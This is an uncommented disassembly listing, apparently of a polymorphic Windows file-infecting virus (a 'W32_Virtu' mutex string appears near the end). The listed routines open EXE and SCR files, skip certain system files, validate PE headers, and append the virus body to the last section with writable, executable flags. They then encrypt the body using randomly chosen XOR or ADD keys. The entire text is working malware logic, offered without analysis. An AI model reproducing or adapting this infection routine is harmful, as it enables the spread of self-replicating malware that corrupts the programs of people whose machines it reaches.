locret_500138:				; CODE XREF: sub_500139-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_500139

; =============== S U B	R O U T	I N E =======================================



sub_500139	proc near		; CODE XREF: sub_500139-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 0050001A SIZE 0000011F BYTES

		pop	dword ptr [ebp+403992h]
		pusha
		mov	esi, [ebp+403972h]
		call	sub_4FF7C1
		popa


loc_50014C:				; CODE XREF: sub_500139-26j
		test	eax, 80000000h
		jnz	short loc_500161


loc_500153:				; CODE XREF: sub_500139-3j
		sub	eax, [edi+0Ch]
		jb	short loc_500161
		cmp	eax, [edi+8]
		jb	loc_50009D


loc_500161:				; CODE XREF: sub_500139-F9j
					; sub_500139-EBj ...
		dec	ecx
		jnz	loc_50001A


loc_500168:				; CODE XREF: sub_4FFF80+9j
					; .RLPack:00500002j ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+2431h], 7FFFFFFFh
		jmp	short loc_5001B3
; ---------------------------------------------------------------------------


loc_500177:				; CODE XREF: sub_500139-7Fj
					; sub_500139-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, [ebp+4039AEh]
		lea	edi, [ecx+2435h]
		add	eax, [ebp+403972h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+52h], 5
		mov	[esi-4], eax


loc_5001B3:				; CODE XREF: sub_500139+3Cj
		pop	edi
		pop	esi
		retn
sub_500139	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5001B6	proc near		; CODE XREF: .RLPack:00500384p
					; sub_5003AC+127p
		lea	esi, [ebp+40384Eh]
		push	esi
		call	dword ptr [ebp+40357Ch]
		cmp	eax, 0FFFFFFFFh
		jz	locret_500287
		mov	[ebp+403952h], eax
		push	0
		push	esi
		call	dword ptr [ebp+4035B4h]
		test	eax, eax
		jz	locret_500287
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr ss:loc_40355C[ebp]
		cmp	eax, 0FFFFFFFFh
		jz	loc_50073F
		mov	dword ptr ss:loc_403956[ebp], eax
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+403584h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_500733
		push	0
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr ss:loc_403580[ebp]
		cmp	eax, 0FFFFFFFFh
		jz	loc_500733
		mov	dword ptr ss:loc_40396A[ebp], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr [ebp+403560h]
		test	eax, eax
		jz	loc_500733
		xor	ecx, ecx
		mov	[ebp+40396Eh], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr [ebp+4035A0h]
		test	eax, eax
		jz	loc_50070B
		mov	[ebp+403972h], eax

locret_500287:				; CODE XREF: sub_5001B6+10j
					; sub_5001B6+27j ...
		retn
sub_5001B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_500288	proc near		; CODE XREF: sub_5003AC+117p
					; sub_5003AC+223p
		mov	eax, 69CDh
		mov	ecx, [ebx+38h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_5002A2
		add	eax, dword ptr ss:loc_40106D[ebp]


loc_5002A2:				; CODE XREF: sub_500288+12j
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+40397Ah], eax
		mov	eax, 243Bh
		mov	ecx, [ebx+3Ch]
		add	eax, dword ptr ss:loc_40106D[ebp]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	dword ptr ss:loc_403976[ebp], eax
		retn
sub_500288	endp


; =============== S U B	R O U T	I N E =======================================



sub_5002CD	proc near		; CODE XREF: sub_5003AC:loc_5003FBp
					; sub_5003AC+13Dp
		movzx	ecx, word ptr [ebx+6]
		stc


loc_5002D2:				; CODE XREF: sub_5002CD+23j
		jecxz	short locret_500309
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_500309
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_5002D2
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, dword ptr ss:loc_40396A[ebp]

locret_500309:				; CODE XREF: sub_5002CD:loc_5002D2j
					; sub_5002CD+1Dj ...
		retn
sub_5002CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_50030A	proc near		; CODE XREF: .RLPack:00500396p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_50030A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_500317:				; CODE XREF: .RLPack:00500338j
		mov	ecx, edi
		jmp	short loc_500326
; ---------------------------------------------------------------------------
		lea	edi, [ebp+40384Eh]
		cld


loc_500322:				; CODE XREF: .RLPack:00500334j
		mov	ebx, edi
		xor	ecx, ecx


loc_500326:				; CODE XREF: .RLPack:00500319j
					; .RLPack:0050033Cj
		lodsb
		cmp	al, 61h
		jb	short loc_500331
		cmp	al, 7Ah
		ja	short loc_500331
		sub	al, 20h


loc_500331:				; CODE XREF: .RLPack:00500329j
					; .RLPack:0050032Dj
		stosb
		cmp	al, 5Ch
		jz	short loc_500322
		cmp	al, 2Eh
		jz	short loc_500317
		cmp	al, 0
		jnz	short loc_500326
		jecxz	short locret_500309
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_500354
		cmp	eax, 524353h
		jnz	locret_500287


loc_500354:				; CODE XREF: .RLPack:00500347j
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_500287
		cmp	eax, 4E554357h
		jz	locret_500287
		cmp	eax, 32334357h
		jz	locret_500287
		cmp	eax, 4F545350h
		jz	locret_500287
		xor	ebx, ebx
		call	sub_5001B6
		jz	locret_500287
		xor	edx, edx
		call	sub_5003AC
		call	sub_50030A
		call	$+5
		pop	ebp
		sub	ebp, offset loc_402F8A
		jmp	loc_5006E9

; =============== S U B	R O U T	I N E =======================================



sub_5003AC	proc near		; CODE XREF: .RLPack:00500391p

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, [ebp+403972h]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_5006E9
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_5006E9
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_5006E9
		test	byte ptr [ebx+5Ch], 2
		mov	ecx, [esi+20h]
		jz	loc_5006E9
		jecxz	short loc_5003FB
		cmp	ecx, 101h
		jbe	loc_5006E9


loc_5003FB:				; CODE XREF: sub_5003AC+41j
		call	sub_5002CD
		jb	loc_5006E9
		mov	ecx, [edx+10h]
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	sub_4FEF05
		xor	[ebp+40342Fh], dl
		mov	cl, 20h
		xor	[ebp+403430h], dh


loc_500425:				; CODE XREF: sub_5003AC+92j
		push	20h
		dec	cl
		pop	eax
		js	short loc_500440
		call	sub_4FEF05
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	[ebp+403431h], edx
		jmp	short loc_500425
; ---------------------------------------------------------------------------


loc_500440:				; CODE XREF: sub_5003AC+7Ej
					; sub_5003AC+CDj ...
		push	6
		pop	ecx


loc_500446:				; CODE XREF: sub_5003AC+B8j
		push	6
		pop	eax
		call	sub_4FEF05
		mov	al, [ebp+403429h]
		xchg	al, [edx+ebp+403429h]
		mov	[ebp+403429h], al
		loop	loc_500446
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_50047B
		cmp	byte ptr ss:loc_40342B[ebp], 1
		jz	short loc_500440


loc_50047B:				; CODE XREF: sub_5003AC+C4j
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_5004A2
		cmp	byte ptr [ebp+403429h],	5
		jz	short loc_500440
		cmp	byte ptr [ebp+40342Ah],	5
		jz	short loc_500440
		cmp	byte ptr ss:loc_40342B[ebp], 5
		jz	short loc_500440


loc_5004A2:				; CODE XREF: sub_5003AC+D9j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_5004B7
		cmp	byte ptr [ebp+403429h],	2
		ja	short loc_500440


loc_5004B7:				; CODE XREF: sub_5003AC+100j
		and	dword ptr [ebp+4039AEh], 0
		call	loc_4FF952
		call	sub_500288
		call	sub_5006F2
		mov	ebx, dword ptr ss:loc_403976[ebp]
		call	sub_5001B6
		jz	loc_5006E9
		mov	esi, [ebp+403972h]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_5002CD
		jb	loc_5006E9
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_50051F
		lea	esi, [ebp+40343Ch]
		mov	ecx, dword ptr ss:loc_40106D[ebp]
		rep movsb


loc_50051F:				; CODE XREF: sub_5003AC+163j
		push	edi
		mov	ecx, 90Fh
		lea	esi, sub_401000[ebp]
		rep movsd
		mov	cl, 0
		jecxz	short loc_500533
		rep movsb


loc_500533:				; CODE XREF: sub_5003AC+183j
		test	dword ptr [ebp+403431h], 10000000h
		jz	loc_5005EB
		push	dword ptr [ebx+28h]
		call	sub_4FF6BA
		mov	edx, dword ptr ss:loc_4039A6[ebp]
		test	edx, edx
		jz	loc_5005EB
		mov	esi, [ebp+403972h]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_500570
		xor	ecx, ecx


loc_500570:				; CODE XREF: sub_5003AC+1C0j
		add	esi, [edx+14h]
		cmp	ecx, dword ptr ss:loc_40106D[ebp]
		mov	ecx, dword ptr ss:loc_40106D[ebp]
		jb	short loc_5005D7
		mov	edi, [esp+14h+var_14]
		and	dword ptr ss:loc_40106D[ebp], 0
		and	dword ptr [edi+6Dh], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, dword ptr ss:loc_403986[ebp]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_5005B0
		neg	dword ptr [eax]


loc_5005B0:				; CODE XREF: sub_5003AC+200j
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	[ebp+4039AEh], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_5005CE
		neg	dword ptr [eax]


loc_5005CE:				; CODE XREF: sub_5003AC+21Ej
		push	ecx
		call	sub_500288
		pop	ecx
		jmp	short loc_5005E3
; ---------------------------------------------------------------------------


loc_5005D7:				; CODE XREF: sub_5003AC+1D3j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_5005E3:				; CODE XREF: sub_5003AC+229j
		lea	esi, [ebp+40343Ch]
		rep movsb


loc_5005EB:				; CODE XREF: sub_5003AC+191j
					; sub_5003AC+1A7j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+1D2h]
		cmp	dl, [ebp+40342Fh]
		jnz	short loc_500604
		imul	edx, 12345678h


loc_500604:				; CODE XREF: sub_5003AC+250j
		mov	[eax-1], dl
		call	sub_4FE5D8
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		lea	eax, [ecx+6]
		jnz	short loc_500635
		mov	[ebp+4039AEh], ecx
		add	eax, dword ptr ss:loc_40106D[ebp]
		and	dword ptr [edi+6Dh], 0


loc_500635:				; CODE XREF: sub_5003AC+274j
		sub	eax, [ebx+28h]
		push	dword ptr [ebp+40397Eh]
		mov	[edi+52h], eax
		pop	dword ptr [esi+20h]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_50065A
		push	edx
		call	sub_4FFF80
		pop	edx


loc_50065A:				; CODE XREF: sub_5003AC+2A5j
		mov	ecx, [ebp+4039AEh]
		jecxz	short loc_500665
		mov	[ebx+28h], ecx


loc_500665:				; CODE XREF: sub_5003AC+2B4j
		mov	ecx, [edx+10h]
		mov	eax, dword ptr ss:loc_403976[ebp]
		cmp	[edx+8], ecx
		jnb	short loc_500676
		mov	[edx+8], ecx


loc_500676:				; CODE XREF: sub_5003AC+2C5j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, [ebp+40397Ah]
		push	243Ch
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+40342Fh]
		test	dword ptr [ebp+403431h], 10000000h
		jz	short loc_5006A7
		add	ecx, dword ptr ss:loc_40106D[ebp]


loc_5006A7:				; CODE XREF: sub_5003AC+2F3j
		mov	dh, 0
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_5006C9
		inc	dh
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_5006C9
		mov	dh, [ebp+403430h]


loc_5006C9:				; CODE XREF: sub_5003AC+307j
					; sub_5003AC+315j
		test	dword ptr [ebp+403431h], 4000h
		jnz	short loc_5006E0


loc_5006D5:				; CODE XREF: sub_5003AC+330j
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_5006D5
		jmp	short loc_5006E9
; ---------------------------------------------------------------------------


loc_5006E0:				; CODE XREF: sub_5003AC+327j
					; sub_5003AC+33Bj
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_5006E0


loc_5006E9:				; CODE XREF: .RLPack:005003A7j
					; sub_5003AC+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_5003AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5006F2	proc near		; CODE XREF: sub_5003AC+11Cp
		cmp	dword ptr ss:loc_403956[ebp], 0
		jz	locret_500287
		push	dword ptr [ebp+403972h]
		call	dword ptr ss:loc_4035C4[ebp]


loc_50070B:				; CODE XREF: sub_5001B6+C5j
		push	dword ptr [ebp+40396Eh]
		call	dword ptr ss:loc_40353C[ebp]
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr [ebp+4035B8h]


loc_500733:				; CODE XREF: sub_5001B6+6Bj
					; sub_5001B6+82j ...
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr ss:loc_40353C[ebp]


loc_50073F:				; CODE XREF: sub_5001B6+45j
		lea	esi, [ebp+40384Eh]
		push	dword ptr [ebp+403952h]
		push	esi
		call	dword ptr [ebp+4035B4h]
		and	dword ptr ss:loc_403956[ebp], 0
		retn
sub_5006F2	endp

; ---------------------------------------------------------------------------
		dw 0E8h
		dd 5D000000h, 0ED81016Ah, 403349h, 0C10FF058h, 40158085h
		dd 0C3C08500h, 0F0FFC883h, 8085C10Fh, 0C3004015h, 2A00103Dh
		dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h,	575FFFFh
		dd 0FFFB7EE8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h
		dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h,	40384EB5h
		dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h
		dd 0FF505200h, 4035F895h, 8C48300h, 3F5C3E81h, 3755C3Fh
		dd 0E804C683h, 0FFFFFB2Bh, 0FFFF7FE8h, 0B8C361FFh, 74h
		dd 2FB8B1EBh, 0E8000000h, 10h, 0B80020C2h, 30h,	3E8h, 24C200h
		dd 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h, 24548B00h, 1A8B5D30h
		dd 3413ED81h, 39E80040h, 61FFFFE5h, 10004C2h, 7060203h
		dd 724DB505h, 0FF052273h, 119415h, 9001h, 3Fh dup(0)
		dd 9B470000h, 8AD7C80h,	3317C83h, 0ADA07C91h, 7C80h, 2 dup(0)
		dd 0BDB60000h, 1A247C80h, 945C7C80h, 23677C80h,	42C7C80h
		dd 6377C81h, 4B0F7C81h,	0C0587C86h, 0E7EC7C80h,	153C7C80h
		dd 0A777C81h, 1C457C81h, 0B6A17C83h, 8FF7C80h, 5DCA7C86h
		dd 11DA7C83h, 2ADE7C81h, 1D777C81h, 0B9057C80h,	0BB767C80h
		dd 9E17C80h, 3DE57C83h,	3F587C86h, 27827C86h, 1CB87C81h
		dd 24427C83h, 0B1C7C80h, 0B9747C81h, 9A517C80h,	0D877C80h
		dd 0D4607C81h, 0D6827C90h, 0D7547C90h, 0D7697C90h, 0D7937C90h
		dd 0DC557C90h, 0DCFD7C90h, 0DD907C90h, 0DEB67C90h, 0EA327C90h
		dd 30C67C90h, 7C91h, 14h dup(0)
		dd 380036h, 500A6Ch, 42005Ch, 730061h, 4E0065h,	6D0061h
		dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h,	330057h
		dd 5F0032h, 690056h, 740072h, 75h, 0BCh	dup(0)
		dd 69h,	0Ch dup(0)
		dd 7FFD6000h, 116Eh dup(0)
		db    0
_RLPack		ends

; Section 3. (virtual address 00106000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00105400
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 506000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start